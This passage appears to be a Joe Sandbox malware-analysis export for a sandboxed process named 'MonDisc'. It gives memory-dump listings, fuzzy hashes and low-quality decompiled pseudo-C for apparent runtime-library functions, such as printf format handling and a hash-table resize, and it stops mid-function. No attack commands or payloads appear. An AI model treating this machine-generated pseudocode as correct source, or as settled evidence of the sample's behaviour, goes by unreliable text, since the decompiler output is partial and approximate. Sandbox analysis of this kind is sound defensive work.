0x7ff6ed111207
0x7ff6ed111209
0x7ff6ed11120c
0x7ff6ed111219
0x7ff6ed111220
0x7ff6ed111224
0x7ff6ed111228
0x7ff6ed11122a
0x7ff6ed11122d
0x7ff6ed11123a
0x7ff6ed111241
0x7ff6ed111245
0x7ff6ed111249
0x7ff6ed11124b
0x7ff6ed11124e
0x7ff6ed11125b
0x7ff6ed111262
0x7ff6ed111266
0x7ff6ed11126a
0x7ff6ed11126c
0x7ff6ed11126f
0x7ff6ed11127c
0x7ff6ed111283
0x7ff6ed111287
0x7ff6ed11128b
0x7ff6ed11128d
0x7ff6ed111290
0x7ff6ed11129d
0x7ff6ed1112a4
0x7ff6ed1112a8
0x7ff6ed1112ac
0x7ff6ed1112ae
0x7ff6ed1112b1
0x7ff6ed1112be
0x7ff6ed1112c5
0x7ff6ed1112c9
0x7ff6ed1112cd
0x7ff6ed1112cf
0x7ff6ed1112d2
0x7ff6ed1112df
0x7ff6ed1112e6
0x7ff6ed1112ea
0x7ff6ed1112ee
0x7ff6ed1112f0
0x7ff6ed1112f3
0x7ff6ed1112f8

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 161665ee1aa7f9ea410eb9770f3735180eef4d7f58380f12e1bb62bcbafd9efd
Instruction ID: 84454d3f23fc86cff35a2016dbd9921d28d52a347f05ba1cc0561f71bdcef95a
Opcode Fuzzy Hash: 161665ee1aa7f9ea410eb9770f3735180eef4d7f58380f12e1bb62bcbafd9efd
Instruction Fuzzy Hash: F6C1A477920F8886C7829F29D59229CB375FB99FA1B608312DA0E67310EF34D4E5C716

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1935E8 Relevance: .2, Instructions: 221
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 44%

			E00007FF67FF6ED1935E8(long long __rbx, void* __rcx, void* __rdx, long long __rbp, long long _a16, long long _a24) {
				void* _v40;
				signed int _v48;
				short _v52;
				short _v56;
				long long _v72;
				void* __rdi;
				void* __rsi;
				signed int _t76;
				void* _t78;
				void* _t109;
				void* _t110;
				unsigned int _t111;
				signed char _t112;
				signed short _t124;
				void* _t129;
				void* _t135;
				signed short _t136;
				void* _t137;
				signed long long _t179;
				void* _t185;
				void* _t187;
				void* _t188;
				void* _t198;
				signed long long _t199;
				void* _t201;
				intOrPtr* _t203;
				void* _t205;
				signed long long _t206;
				void* _t208;
				void* _t213;
				intOrPtr* _t215;
				signed long long _t216;

				_t202 = __rbp;
				_t187 = __rcx;
				_a16 = __rbx;
				_a24 = __rbp;
				_t206 = _t205 - 0x40;
				_t179 =  *0xed2361d8; // 0x3623d5dd24d9
				_v48 = _t179 ^ _t206;
				_t76 =  *(__rcx + 0x42) & 0x0000ffff;
				_t185 = __rcx;
				_t5 = _t201 - 0x20; // 0x58
				_t136 = _t5;
				_t6 = _t201 - 0x77; // 0x1
				r15d = _t6;
				_t137 = _t76 - 0x64;
				if (_t137 > 0) goto 0xed19368b;
				if (_t137 == 0) goto 0xed193709;
				if (_t76 == 0x41) goto 0xed19371c;
				if (_t76 == 0x43) goto 0xed193675;
				if (_t76 - 0x44 <= 0) goto 0xed193725;
				if (_t76 - 0x47 <= 0) goto 0xed19371c;
				if (_t76 == 0x53) goto 0xed1936c5;
				if (_t76 == _t136) goto 0xed1936da;
				if (_t76 == 0x5a) goto 0xed193681;
				if (_t76 == 0x61) goto 0xed19371c;
				if (_t76 != 0x63) goto 0xed193725;
				E00007FF67FF6ED196BF0(__rcx, __rcx, _t201);
				goto 0xed193721;
				_t78 = E00007FF67FF6ED194C74(_t110, __rcx, __rcx, _t201);
				goto 0xed193721;
				if (_t78 - 0x67 <= 0) goto 0xed19371c;
				if (_t78 == 0x69) goto 0xed193709;
				if (_t78 == 0x6e) goto 0xed193702;
				if (_t78 == 0x6f) goto 0xed1936e4;
				if (_t78 == 0x70) goto 0xed1936cc;
				if (_t78 == 0x73) goto 0xed1936c5;
				if (_t78 == 0x75) goto 0xed19370d;
				if (_t78 != 0x78) goto 0xed193725;
				goto 0xed193712;
				E00007FF67FF6ED199148(_t110, _t185, _t187, _t201, __rbp);
				goto 0xed193721;
				 *((intOrPtr*)(_t187 + 0x38)) = 0x10;
				 *((intOrPtr*)(_t187 + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xed193715;
				_t111 =  *(_t187 + 0x30);
				if ((r15b & _t111 >> 0x00000005) == 0) goto 0xed1936f8;
				asm("bts ecx, 0x7");
				 *(_t185 + 0x30) = _t111;
				_t188 = _t185;
				goto 0xed193712;
				E00007FF67FF6ED198718(_t179 ^ _t206, _t188);
				goto 0xed193721;
				 *(_t188 + 0x30) =  *(_t188 + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF67FF6ED197B18(_t109, 0xa, _t129, 0x78, r15b & _t111 >> 0x00000005, _t179 ^ _t206, _t185, _t188, _t202, _t208, _t213);
				goto 0xed193721;
				if (E00007FF67FF6ED195BD8(0xa, 0x78, _t185, _t188, _t198, _t201, _t202) != 0) goto 0xed19372c;
				goto 0xed1938b5;
				if ( *((intOrPtr*)(_t185 + 0x47c)) != 2) goto 0xed193742;
				if ( *((intOrPtr*)(_t185 + 0x478)) == r15d) goto 0xed1938b2;
				if ( *((char*)(_t185 + 0x40)) != 0) goto 0xed1938b2;
				_t112 =  *(_t185 + 0x30);
				_v56 = 0;
				_v52 = 0;
				_t21 = _t198 + 0x20; // 0x20
				r13d = _t21;
				if ((r15b & 0) == 0) goto 0xed19379c;
				if ((r15b & 0) == 0) goto 0xed19377e;
				_t26 = _t198 + 0x2d; // 0x2d
				_v56 = _t26;
				goto 0xed193799;
				if ((r15b & _t112) == 0) goto 0xed19378a;
				goto 0xed193777;
				if ((r15b & 0) == 0) goto 0xed19379c;
				_v56 = r13w;
				_t199 = _t216;
				_t124 =  *(_t185 + 0x42) & 0x0000ffff;
				r9d = 0xffdf;
				if ((r9w & (_t124 & 0x0000ffff) - _t136) != 0) goto 0xed1937c1;
				if ((r15b & 0) == 0) goto 0xed1937c1;
				r8b = r15b;
				goto 0xed1937c4;
				r8b = 0;
				r9d = 0x30;
				if (r8b != 0) goto 0xed1937dd;
				if (0 == 0) goto 0xed1937fa;
				 *(_t206 + 0x30 + _t199 * 2) = r9w;
				if (_t124 == _t136) goto 0xed1937ee;
				if (_t124 != 0x41) goto 0xed1937f1;
				 *((short*)(_t206 + 0x32 + _t199 * 2)) = _t136 & 0x0000ffff;
				_t135 =  *((intOrPtr*)(_t185 + 0x34)) -  *((intOrPtr*)(_t185 + 0x50));
				if ((_t112 & 0x0000000c) != 0) goto 0xed19381d;
				r8d = _t135;
				E00007FF67FF6ED18B150(r13b, _t185, _t185 + 0x468, _t199 + 2, _t201, _t202, _t185 + 0x28);
				_t215 = _t185 + 0x468;
				_t203 = _t185 + 0x28;
				if ((r15b &  *( *_t215 + 0x14) >> 0x0000000c) == 0) goto 0xed193845;
				if ( *((long long*)( *_t215 + 8)) != 0) goto 0xed193845;
				 *_t203 =  *_t203;
				goto 0xed193861;
				r8d = 0;
				_v72 = _t185 + 0x10;
				0xed19bf40();
				if ((r15b & 0) == 0) goto 0xed193886;
				if ((r15b &  *(_t185 + 0x30) >> 0x00000002) != 0) goto 0xed193886;
				r8d = _t135;
				E00007FF67FF6ED19B7F4(E00007FF67FF6ED18B150(0x30, _t185, _t215, _t199 + 2, _t201, _t203, _t203), _t185, _t185, _t203);
				if ( *_t203 < 0) goto 0xed1938b2;
				if ((r15b &  *(_t185 + 0x30) >> 0x00000002) == 0) goto 0xed1938b2;
				r8d = _t135;
				E00007FF67FF6ED18B150(r13b, _t185, _t215, _t199 + 2, _t201, _t203, _t203);
				return E00007FF67FF6ED173DE0(r15b,  *(_t185 + 0x30) >> 2, _v48 ^ _t206);
			}

0x7ff6ed1935e8
0x7ff6ed1935e8
0x7ff6ed1935e8
0x7ff6ed1935ed
0x7ff6ed1935fa
0x7ff6ed1935fe
0x7ff6ed193608
0x7ff6ed19360d
0x7ff6ed193616
0x7ff6ed193619
0x7ff6ed193619
0x7ff6ed19361c
0x7ff6ed19361c
0x7ff6ed193620
0x7ff6ed193624
0x7ff6ed193626
0x7ff6ed193630
0x7ff6ed19363a
0x7ff6ed193640
0x7ff6ed19364a
0x7ff6ed193654
0x7ff6ed193659
0x7ff6ed19365f
0x7ff6ed193665
0x7ff6ed19366f
0x7ff6ed193677
0x7ff6ed19367c
0x7ff6ed193681
0x7ff6ed193686
0x7ff6ed19368f
0x7ff6ed193699
0x7ff6ed19369f
0x7ff6ed1936a5
0x7ff6ed1936ab
0x7ff6ed1936b1
0x7ff6ed1936b7
0x7ff6ed1936bc
0x7ff6ed1936c3
0x7ff6ed1936c5
0x7ff6ed1936ca
0x7ff6ed1936cc
0x7ff6ed1936d3
0x7ff6ed1936da
0x7ff6ed1936e2
0x7ff6ed1936e4
0x7ff6ed1936ef
0x7ff6ed1936f1
0x7ff6ed1936f5
0x7ff6ed1936fd
0x7ff6ed193700
0x7ff6ed193702
0x7ff6ed193707
0x7ff6ed193709
0x7ff6ed193712
0x7ff6ed193715
0x7ff6ed19371a
0x7ff6ed193723
0x7ff6ed193727
0x7ff6ed193733
0x7ff6ed19373c
0x7ff6ed193746
0x7ff6ed19374c
0x7ff6ed193751
0x7ff6ed193757
0x7ff6ed193761
0x7ff6ed193761
0x7ff6ed193768
0x7ff6ed193772
0x7ff6ed193774
0x7ff6ed193777
0x7ff6ed19377c
0x7ff6ed193781
0x7ff6ed193788
0x7ff6ed193791
0x7ff6ed193793
0x7ff6ed193799
0x7ff6ed19379c
0x7ff6ed1937a0
0x7ff6ed1937b0
0x7ff6ed1937ba
0x7ff6ed1937bc
0x7ff6ed1937bf
0x7ff6ed1937c1
0x7ff6ed1937cb
0x7ff6ed1937d7
0x7ff6ed1937db
0x7ff6ed1937dd
0x7ff6ed1937e6
0x7ff6ed1937ec
0x7ff6ed1937f1
0x7ff6ed193800
0x7ff6ed193805
0x7ff6ed19380b
0x7ff6ed193818
0x7ff6ed19381d
0x7ff6ed193827
0x7ff6ed193834
0x7ff6ed19383e
0x7ff6ed193840
0x7ff6ed193843
0x7ff6ed19384c
0x7ff6ed19384f
0x7ff6ed19385c
0x7ff6ed19386c
0x7ff6ed193874
0x7ff6ed193879
0x7ff6ed19388b
0x7ff6ed193894
0x7ff6ed19389f
0x7ff6ed1938a4
0x7ff6ed1938ad
0x7ff6ed1938da

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7eed61ac299639cb7886e11ff70364d54307f688e9f21671f5d80a65d1351b1
Instruction ID: 2480f88804374d8d8620a2a6d3264c12ac2caaa281eb2e0ee46b0e9f5a368b7a
Opcode Fuzzy Hash: b7eed61ac299639cb7886e11ff70364d54307f688e9f21671f5d80a65d1351b1
Instruction Fuzzy Hash: 8E81B56BE1820346EBAC9A1D90407F926A1EF44B44F845135EE4DC7799EF2FE846860F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED10A850 Relevance: .2, Instructions: 220
COMMONCrypto

Download Yara Rule

C-Code - Quality: 31%

			E00007FF67FF6ED10A850(signed int __edx, signed long long __rax, signed int __rbx, void* __rcx, unsigned int __rdx, long long __rdi, long long __rbp, void* __r8, void* __r10, long long __r12, long long __r14, long long _a8, long long _a16, long long _a24) {
				long long _v32;
				long long _v40;
				void* __rsi;
				void* _t91;
				signed int _t103;
				void* _t112;
				signed int _t114;
				signed int _t117;
				signed int _t125;
				signed int _t127;
				signed int _t153;
				signed int _t157;
				void* _t168;
				void* _t175;
				signed long long _t183;
				signed long long _t185;
				signed long long _t187;
				signed long long _t189;
				signed long long _t193;
				signed long long _t195;
				signed int _t196;
				unsigned long long _t200;
				long long _t204;
				signed long long _t206;
				signed long long _t212;
				signed long long _t214;
				signed long long _t221;
				intOrPtr _t229;
				intOrPtr* _t233;

				_t183 = __rax;
				_t233 =  *((intOrPtr*)(__rcx + 0x10));
				_t229 =  *((intOrPtr*)(_t233 + 0x98));
				if ( *((char*)(_t233 + 0x21)) == 3) goto 0xed10ab65;
				if (__edx - 0x3ffffff >= 0) goto 0xed10ab65;
				_a8 = __rbx;
				r8d = 0;
				_a16 = __rbp;
				_t187 = __rbx << 3;
				_a24 = __rdi;
				_v32 = __r12;
				_t91 = E00007FF67FF6ED109D30(__rax, _t187, __rcx, _t206, __rbp, __r8, _t187);
				_t193 = __rax;
				_t204 = __rax;
				E00007FF67FF6ED174DE0(_t91, 0, __rax, __rdx, _t187);
				if ( *((char*)(_t233 + 0xad)) == 0) goto 0xed10a9d7;
				_t114 =  *(_t233 + 0xa0);
				_t168 = _t114 - 0xffffffff;
				if (_t168 == 0) goto 0xed10a9a0;
				asm("o16 nop [eax+eax]");
				_t212 =  *(_t229 + _t183 * 8) & 0xfffffffe;
				if (_t168 == 0) goto 0xed10a995;
				if ( *((intOrPtr*)(_t212 + 0xb)) == bpl) goto 0xed10a979;
				_t117 =  *(_t212 + 0x14);
				r11d = _t117;
				r11d = r11d ^  *(_t233 + 0xb0);
				r10d = _t117;
				if (_t117 - 4 < 0) goto 0xed10a93b;
				r9d =  *(_t212 + 0x18);
				asm("rol eax, 0xe");
				goto 0xed10a958;
				r9d =  *(_t212 + 0x18) & 0x000000ff;
				asm("rol eax, 0xe");
				_t125 = ( *(_t193 + _t212 + 0x17) & 0x000000ff ^ (_t212 + 0x18)[__rdx >> 1] & 0x000000ff ^ r11d) - ((_t212 + 0x18)[__rdx >> 1] & 0x000000ff);
				r9d = r9d ^ _t125;
				asm("rol eax, 0xb");
				r9d = r9d - _t125;
				asm("ror eax, 0x7");
				asm("rol eax, 0x10");
				goto 0xed10a97d;
				_t195 = _t206 & _t183;
				 *((long long*)(_t204 + _t195 * 8)) =  *((long long*)(_t204 + _t195 * 8)) + 1;
				if ( *_t212 != 0) goto 0xed10a8f1;
				if (_t114 - 1 != 0xffffffff) goto 0xed10a8e0;
				r8d = __edx;
				asm("o16 nop [eax+eax]");
				_t200 = _t204 + _t183 * 8;
				r8d = r8d - 1;
				 *_t200 = _t195;
				if (r8d != 0xffffffff) goto 0xed10a9b0;
				 *((intOrPtr*)(_t233 + 0xad)) = bpl;
				r12d =  *(_t233 + 0xa0);
				_t175 = r12d - 0xffffffff;
				if (_t175 == 0) goto 0xed10ab20;
				_v40 = __r14;
				_t189 =  *(_t229 + _t187 * 8) & 0xfffffffe;
				if (_t175 == 0) goto 0xed10ab0e;
				r8d =  *(_t189 + 0x10);
				if ( *((char*)(_t189 + 0xb)) != 0) goto 0xed10aa59;
				r8d = r8d & __edx;
				if ((r9b & 0x00000001) == 0) goto 0xed10aa4d;
				r9d =  *(_t189 + 0x14);
				_t214 = _t189 + 0x18;
				_t196 =  *(_t233 + 0xb0);
				_t103 = E00007FF67FF6ED109FF0(0 |  *_t200 - 0x00000020 > 0x00000000,  *(_t189 + 0x10), _t189, _t196, _t214,  *((intOrPtr*)(_t204 +  *_t212 * 8)));
				r8d = _t103;
				 *(_t189 + 0x10) = _t103;
				r8d = r8d & __edx;
				 *((char*)(_t189 + 0xb)) = 1;
				goto 0xed10aaea;
				_t127 =  *(_t189 + 0x14);
				r11d = _t127;
				r11d = r11d ^  *(_t233 + 0xb0);
				r9d = _t127;
				if (_t127 - 4 < 0) goto 0xed10aa92;
				asm("rol eax, 0xe");
				goto 0xed10aaac;
				_t153 = (_t189 + 0x18)[_t200 >> 1] & 0x000000ff;
				asm("rol eax, 0xe");
				_t135 = ( *(_t196 + _t189 + 0x17) & 0x000000ff ^ _t153 ^ r11d) - _t153;
				asm("rol eax, 0xb");
				asm("ror eax, 0x7");
				asm("rol eax, 0x10");
				_t157 = ((_t153 ^ ( *(_t189 + 0x18) & 0x000000ff ^ ( *(_t196 + _t189 + 0x17) & 0x000000ff ^ _t153 ^ r11d) - _t153) - _t135) - ( *(_t189 + 0x18) & 0x000000ff ^ ( *(_t196 + _t189 + 0x17) & 0x000000ff ^ _t153 ^ r11d) - _t153) - _t135 ^ _t135) - (_t153 ^ ( *(_t189 + 0x18) & 0x000000ff ^ ( *(_t196 + _t189 + 0x17) & 0x000000ff ^ _t153 ^ r11d) - _t153) - _t135) - ( *(_t189 + 0x18) & 0x000000ff ^ ( *(_t196 + _t189 + 0x17) & 0x000000ff ^ _t153 ^ r11d) - _t153) - _t135;
				if ((r9b & 0x00000001) == 0) goto 0xed10aae0;
				r8d = r8d & __edx;
				_t221 =  *((intOrPtr*)(_t204 + _t214 * 8));
				goto 0xed10aaea;
				 *(_t189 + 0x10) = _t157;
				r8d = _t157 & __edx;
				 *((char*)(_t189 + 0xb)) = 0;
				r9d = r9d & 0x00000001;
				_t185 = _t221 & 0xfffffffe;
				 *_t189 = _t185;
				 *(_t204 + _t185 * 8) = _t221 | _t189;
				if ( *_t189 != 0) goto 0xed10aa10;
				r12d = r12d - 1;
				if (r12d != 0xffffffff) goto 0xed10a9f0;
				r8d =  *(_t233 + 0xa0);
				r9d = 0;
				r8d = r8d + 1;
				 *((intOrPtr*)(_t233 + 0x10)) =  *((intOrPtr*)(_t233 + 0x10)) - (_t214 << 3);
				_t112 =  *_t233();
				 *((long long*)(_t233 + 0x98)) = _t204;
				 *(_t233 + 0xa0) = __edx;
				return _t112;
			}

0x7ff6ed10a850
0x7ff6ed10a85a
0x7ff6ed10a865
0x7ff6ed10a86c
0x7ff6ed10a878
0x7ff6ed10a87e
0x7ff6ed10a883
0x7ff6ed10a886
0x7ff6ed10a88e
0x7ff6ed10a897
0x7ff6ed10a89c
0x7ff6ed10a8a1
0x7ff6ed10a8ab
0x7ff6ed10a8ae
0x7ff6ed10a8b1
0x7ff6ed10a8be
0x7ff6ed10a8c4
0x7ff6ed10a8cd
0x7ff6ed10a8d0
0x7ff6ed10a8d6
0x7ff6ed10a8e7
0x7ff6ed10a8eb
0x7ff6ed10a8f5
0x7ff6ed10a8fb
0x7ff6ed10a8ff
0x7ff6ed10a904
0x7ff6ed10a90b
0x7ff6ed10a914
0x7ff6ed10a91d
0x7ff6ed10a92b
0x7ff6ed10a939
0x7ff6ed10a947
0x7ff6ed10a953
0x7ff6ed10a956
0x7ff6ed10a958
0x7ff6ed10a95d
0x7ff6ed10a960
0x7ff6ed10a969
0x7ff6ed10a972
0x7ff6ed10a977
0x7ff6ed10a982
0x7ff6ed10a985
0x7ff6ed10a98f
0x7ff6ed10a99a
0x7ff6ed10a9a0
0x7ff6ed10a9a7
0x7ff6ed10a9b3
0x7ff6ed10a9c0
0x7ff6ed10a9c7
0x7ff6ed10a9ce
0x7ff6ed10a9d0
0x7ff6ed10a9d7
0x7ff6ed10a9de
0x7ff6ed10a9e2
0x7ff6ed10a9e8
0x7ff6ed10a9f8
0x7ff6ed10a9fc
0x7ff6ed10aa17
0x7ff6ed10aa1d
0x7ff6ed10aa1f
0x7ff6ed10aa2a
0x7ff6ed10aa2c
0x7ff6ed10aa30
0x7ff6ed10aa34
0x7ff6ed10aa37
0x7ff6ed10aa3c
0x7ff6ed10aa3f
0x7ff6ed10aa42
0x7ff6ed10aa45
0x7ff6ed10aa54
0x7ff6ed10aa59
0x7ff6ed10aa5c
0x7ff6ed10aa61
0x7ff6ed10aa64
0x7ff6ed10aa6d
0x7ff6ed10aa82
0x7ff6ed10aa90
0x7ff6ed10aa97
0x7ff6ed10aaa7
0x7ff6ed10aaaa
0x7ff6ed10aab0
0x7ff6ed10aab9
0x7ff6ed10aac2
0x7ff6ed10aac5
0x7ff6ed10aad5
0x7ff6ed10aad7
0x7ff6ed10aada
0x7ff6ed10aade
0x7ff6ed10aae0
0x7ff6ed10aae3
0x7ff6ed10aae6
0x7ff6ed10aaed
0x7ff6ed10aaf1
0x7ff6ed10aaf8
0x7ff6ed10ab01
0x7ff6ed10ab08
0x7ff6ed10ab0e
0x7ff6ed10ab15
0x7ff6ed10ab20
0x7ff6ed10ab27
0x7ff6ed10ab31
0x7ff6ed10ab3c
0x7ff6ed10ab40
0x7ff6ed10ab52
0x7ff6ed10ab5e
0x7ff6ed10ab6e

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c2c5b9538b7516585fb5cab91657e1150d8422ae305a07c424bcf7de472c3f5
Instruction ID: bb295cd7556efe9ee493976c8e0c971b94b66b095ec18e9eaf55710a86250d53
Opcode Fuzzy Hash: 1c2c5b9538b7516585fb5cab91657e1150d8422ae305a07c424bcf7de472c3f5
Instruction Fuzzy Hash: 91810133B1869186D318DF2994147AE3BA1F789BA4F458239EA69C37C4FE39D920C341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1938DC Relevance: .2, Instructions: 217
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 45%

			E00007FF67FF6ED1938DC(long long __rbx, long long __rcx, void* __rdx, long long __rbp, long long _a16, long long _a24) {
				void* _v40;
				signed int _v48;
				short _v52;
				short _v56;
				long long _v72;
				void* __rdi;
				void* __rsi;
				signed int _t74;
				void* _t76;
				void* _t107;
				void* _t108;
				unsigned int _t109;
				signed char _t110;
				signed short _t122;
				void* _t132;
				signed short _t133;
				void* _t134;
				signed long long _t174;
				long long _t180;
				void* _t193;
				signed long long _t194;
				long long _t196;
				intOrPtr* _t198;
				void* _t200;
				signed long long _t201;
				void* _t203;
				void* _t208;
				intOrPtr* _t210;
				signed long long _t211;

				_t197 = __rbp;
				_a16 = __rbx;
				_a24 = __rbp;
				_t201 = _t200 - 0x40;
				_t174 =  *0xed2361d8; // 0x3623d5dd24d9
				_v48 = _t174 ^ _t201;
				_t74 =  *(__rcx + 0x42) & 0x0000ffff;
				_t180 = __rcx;
				_t5 = _t196 - 0x20; // 0x58
				_t133 = _t5;
				_t6 = _t196 - 0x77; // 0x1
				r15d = _t6;
				_t134 = _t74 - 0x64;
				if (_t134 > 0) goto 0xed19397f;
				if (_t134 == 0) goto 0xed1939fd;
				if (_t74 == 0x41) goto 0xed193a10;
				if (_t74 == 0x43) goto 0xed193969;
				if (_t74 - 0x44 <= 0) goto 0xed193a19;
				if (_t74 - 0x47 <= 0) goto 0xed193a10;
				if (_t74 == 0x53) goto 0xed1939b9;
				if (_t74 == _t133) goto 0xed1939ce;
				if (_t74 == 0x5a) goto 0xed193975;
				if (_t74 == 0x61) goto 0xed193a10;
				if (_t74 != 0x63) goto 0xed193a19;
				E00007FF67FF6ED196CBC(_t74 - 0x63, __rcx, __rcx, _t196);
				goto 0xed193a15;
				_t76 = E00007FF67FF6ED194D0C(_t108, __rcx, __rcx, _t196);
				goto 0xed193a15;
				if (_t76 - 0x67 <= 0) goto 0xed193a10;
				if (_t76 == 0x69) goto 0xed1939fd;
				if (_t76 == 0x6e) goto 0xed1939f6;
				if (_t76 == 0x6f) goto 0xed1939d8;
				if (_t76 == 0x70) goto 0xed1939c0;
				if (_t76 == 0x73) goto 0xed1939b9;
				if (_t76 == 0x75) goto 0xed193a01;
				if (_t76 != 0x78) goto 0xed193a19;
				goto 0xed193a06;
				E00007FF67FF6ED199234(__rcx, __rcx, _t196);
				goto 0xed193a15;
				 *((intOrPtr*)(__rcx + 0x38)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xed193a09;
				_t109 =  *(__rcx + 0x30);
				if ((r15b & _t109 >> 0x00000005) == 0) goto 0xed1939ec;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x30) = _t109;
				goto 0xed193a06;
				E00007FF67FF6ED1987C8(__rcx, __rcx);
				goto 0xed193a15;
				 *(__rcx + 0x30) =  *(__rcx + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF67FF6ED197CC8(_t107, 0xa, 0x78, r15b & _t109 >> 0x00000005, __rcx, __rcx, _t193, _t196, __rbp, _t208);
				goto 0xed193a15;
				if (E00007FF67FF6ED195DF4(0xa, 0x78, __rcx, __rcx, _t193, _t196, _t197, _t203) != 0) goto 0xed193a20;
				goto 0xed193b93;
				if ( *((char*)(__rcx + 0x40)) != 0) goto 0xed193b90;
				_t110 =  *(__rcx + 0x30);
				_v56 = 0;
				_v52 = 0;
				_t19 = _t193 + 0x20; // 0x20
				r13d = _t19;
				if ((r15b & 0) == 0) goto 0xed193a7a;
				if ((r15b & 0) == 0) goto 0xed193a5c;
				_t24 = _t193 + 0x2d; // 0x2d
				_v56 = _t24;
				goto 0xed193a77;
				if ((r15b & _t110) == 0) goto 0xed193a68;
				goto 0xed193a55;
				if ((r15b & 0) == 0) goto 0xed193a7a;
				_v56 = r13w;
				_t194 = _t211;
				_t122 =  *(__rcx + 0x42) & 0x0000ffff;
				r9d = 0xffdf;
				if ((r9w & (_t122 & 0x0000ffff) - _t133) != 0) goto 0xed193a9f;
				if ((r15b & 0) == 0) goto 0xed193a9f;
				r8b = r15b;
				goto 0xed193aa2;
				r8b = 0;
				r9d = 0x30;
				if (r8b != 0) goto 0xed193abb;
				if (0 == 0) goto 0xed193ad8;
				 *(_t201 + 0x30 + _t194 * 2) = r9w;
				if (_t122 == _t133) goto 0xed193acc;
				if (_t122 != 0x41) goto 0xed193acf;
				 *((short*)(_t201 + 0x32 + _t194 * 2)) = _t133 & 0x0000ffff;
				_t132 =  *((intOrPtr*)(__rcx + 0x34)) -  *((intOrPtr*)(__rcx + 0x50));
				if ((_t110 & 0x0000000c) != 0) goto 0xed193afb;
				r8d = _t132;
				E00007FF67FF6ED18B150(r13b, __rcx, __rcx + 0x468, _t194 + 2, _t196, _t197, __rcx + 0x28);
				_t210 = __rcx + 0x468;
				_t198 = __rcx + 0x28;
				if ((r15b &  *( *_t210 + 0x14) >> 0x0000000c) == 0) goto 0xed193b23;
				if ( *((long long*)( *_t210 + 8)) != 0) goto 0xed193b23;
				 *_t198 =  *_t198;
				goto 0xed193b3f;
				r8d = 0;
				_v72 = __rcx + 0x10;
				0xed19bf40();
				if ((r15b & 0) == 0) goto 0xed193b64;
				if ((r15b &  *(__rcx + 0x30) >> 0x00000002) != 0) goto 0xed193b64;
				r8d = _t132;
